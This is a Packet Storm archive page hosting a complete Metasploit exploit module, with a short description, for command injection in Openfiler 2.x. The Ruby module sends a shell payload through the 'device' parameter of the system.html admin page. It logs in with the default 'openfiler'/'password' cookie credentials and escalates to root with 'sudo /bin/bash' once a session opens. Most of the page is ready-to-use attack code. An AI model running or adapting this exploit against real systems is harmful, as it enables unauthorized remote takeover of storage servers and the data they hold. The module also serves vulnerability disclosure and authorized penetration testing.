exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Openfiler 2.x NetworkCard Command Execution

Openfiler 2.x NetworkCard Command Execution
Posted Sep 11, 2012
Authored by Brendan Coles | Site metasploit.com

This Metasploit module exploits a vulnerability in Openfiler version 2.x which could be abused to allow authenticated users to execute arbitrary code under the context of the 'openfiler' user. The 'system.html' file uses user controlled data from the 'device' parameter to create a new 'NetworkCard' object. The class constructor in 'network.inc' calls exec() with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without providing a system password.

tags | exploit, arbitrary, bash
SHA-256 | ef6788fdc2bbdb21b278fd22582c6c12fb18b12cc2341fe8561207bf69d634a8

Openfiler 2.x NetworkCard Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Openfiler v2.x NetworkCard Command Execution",
'Description' => %q{
This module exploits a vulnerability in Openfiler v2.x
which could be abused to allow authenticated users to execute arbitrary
code under the context of the 'openfiler' user. The 'system.html' file
uses user controlled data from the 'device' parameter to create a new
'NetworkCard' object. The class constructor in 'network.inc' calls exec()
with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
providing a system password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
],
'References' =>
[
['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/']
#['OSVDB', ''],
#['EDB', ''],
],
'DefaultOptions' =>
{
'ExitFunction' => 'none'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet python perl bash',
}
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => "Sep 04 2012",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(446),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']),
OptString.new('PASSWORD', [true, 'The password for the application', 'password'])
], self.class)
end

def check

@peer = "#{rhost}:#{rport}"

# retrieve software version from login page
print_status("#{@peer} - Sending check")
begin
res = send_request_cgi({
'uri' => '/'
})

if res and res.code == 200 and res.body =~ /<strong>Distro Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
return Exploit::CheckCode::Appears
elsif res and res.code == 200 and res.body =~ /<title>Openfiler Storage Control Center<\/title>/
return Exploit::CheckCode::Detected
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{@peer} - Connection failed")
end
return Exploit::CheckCode::Unknown

end

def on_new_session(client)
client.shell_command_token("sudo /bin/bash")
end


def exploit

@peer = "#{rhost}:#{rport}"
user = datastore['USERNAME']
pass = datastore['PASSWORD']
cmd = Rex::Text.uri_encode("&#{payload.raw}&")

# send payload
print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
begin
res = send_request_cgi({
'uri' => "/admin/system.html?step=2&device=lo#{cmd}",
'cookie' => "usercookie=#{user}; passcookie=#{pass};",
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unknown, 'Connection failed')
end

if res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/
print_good("#{@peer} - Payload sent successfully")
elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/
fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
else
fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
end

end
end
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close